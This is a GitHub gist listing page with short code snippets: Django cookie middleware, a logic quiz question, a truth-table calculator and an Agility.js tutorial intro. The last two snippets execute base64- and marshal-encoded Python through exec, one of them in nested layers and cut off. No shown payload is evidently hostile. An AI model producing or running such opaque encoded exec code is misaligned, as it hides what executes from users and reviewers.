Skip to content

Instantly share code, notes, and snippets.

Pindi Albert pindia

Block or report user

Report or block pindia

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@pindia
pindia / gist:9b7787a607a5a676c6d8
Last active Feb 27, 2017
Django session cookie migration
View gist:9b7787a607a5a676c6d8
# Read more at http://www.pindi.us/blog/migrating-cross-domain-cookies-django
from django.conf import settings
from importlib import import_module
class UpdateSessionCookieMiddleware(object):
"""
Migrates session data from an old (hardcoded) session cookie name and domain to the name and
domain currently defined in the Django settings.
View gist:3868246
QUESTION 1:
Which of the following formal propositions says that there is no largest prime, where P(x) means "x is prime"? (There may be more than one. You have to select all correct propositions.) The variables denote natural numbers. [6 points]
Math : ∀x∃y[P(x)∧P(y)∧(x<y)]
MathEnglish: For all x there exists y such that x and y are both prime, and y is greater than x.
INCORRECT: not all numbers are prime
English : There is no largest prime number.
Slightly mathy English: For all prime numbers, there exists a larger prime number.
@pindia
pindia / gist:3836713
Created Oct 4, 2012
Python truth table calculator
View gist:3836713
from itertools import izip, product, tee
# Logic functions: take and return iterators of truth values
def AND(a, b):
for p, q in izip(a, b):
yield p and q
def OR(a, b):
for p, q in izip(a, b):
@pindia
pindia / gist:3166678
Created Jul 23, 2012
Step by step from jQuery to Agility.js
View gist:3166678

Step by step from jQuery to Agility.js

There's probably hundreds of Javascript MVC frameworks out there. But my favorite, Agility.js, seems to be barely ever mentioned. Agility has served me well in several projects both big and small, so I'm writing a tutorial in the spirit of Step by step from jQuery to Backbone for Agility.

What makes Agility different from other MVC frameworks? In short, the lack of boilerplate and the completeness. Other frameworks involve many, many lines of boilerplate that provide a significant barrier to entry and detract from the readability of the final product. Agility minimizes this, lets you get started fast, and stays out of your way. But it doesn't sacrifice either completeness or maintainability. Agility is feature-rich, including two-way model-view bindings, declarative controller-events, prototypical inheritance, server persistance, and everything else

View gist:1450560
import base64, marshal
exec marshal.loads(base64.b64decode('''YwAAAAABAAAAAwAAAEMAAABzIAAAAGQB
AGQAAGwAAH0AAHwAAGoBAGQCAGQDAIMCAAFkAABTKAQAAABOaf////9pAgAAAGlkAAAAKAI
AAAB0BAAAAG1hdGh0AwAAAHBvdygBAAAAUgAAAAAoAAAAACgAAAAAcwcAAAA8c3RkaW4+dA
EAAABmAQAAAHMEAAAAAAEMAQ=='''.replace('\n','')))
View gist:1449696
import base64
exec base64.b64decode('''CnggPSAiYmFzZTY0LmI2NGRlY29kZSgnWW1GelpUWTBMbUkyTkdSbFkyOWtaU2duV1cxR2V
scFVXVEJNYlVreVRrZFNiRmt5T1d0YVUyZHVWMWN4UjJWc2NGVlhWRUpOWWxWcmVWUnJaRk5pUm10NVQ
xZDBZVlV5WkhWV01XTjRVakpXYzJOR1ZsaFdSVXBPV1d4V2NtVldVbkphUms1cFVtMTBOVlF4WkRCWlZ
sVjVXa2hXVjAxWFRqUlZha3BYWXpKT1IxWnNhRmRTVlhCUFYxZDRWMk50VmxkVmJrcGhVbXMxY0ZWdE1
UQk9WbEY0V2tSQ1dsWnNWalZYYTJoWFZqQXhXRlJxVWxaaGEzQllXWHBLVDFJeFduTmhSbVJUVmxoQ1V
GWXhaRFJXTWs1MFZteGtWbUpyY0doVmJYTXhZMFpXZEUxVVFrOVdiRVkwVjJ0U1ExZHNXbk5XYWxaWVl
USm9XRlpxUVhoWFJsSnhWV3hhYUdFelFsbFhXSEJMVkRGSmVGZHVUbWhTYlZKVVZteG9RMVZHV1hoYVJ
GSlhUV3MxTUZadGVHdFdiVXB5WTBkb1ZtSllUWGhaTUZwWFpFVXhWVkZyT1ZkaVJWa3dWakowVTFFeFp
ITlhiazVYWVd4YVdWbFVTbTlYUmxweFVWaG9XRkpzU25oV1YzaGhZVWRGZWxGc2JGaFhTRUpNVmtSR1N
You can’t perform that action at this time.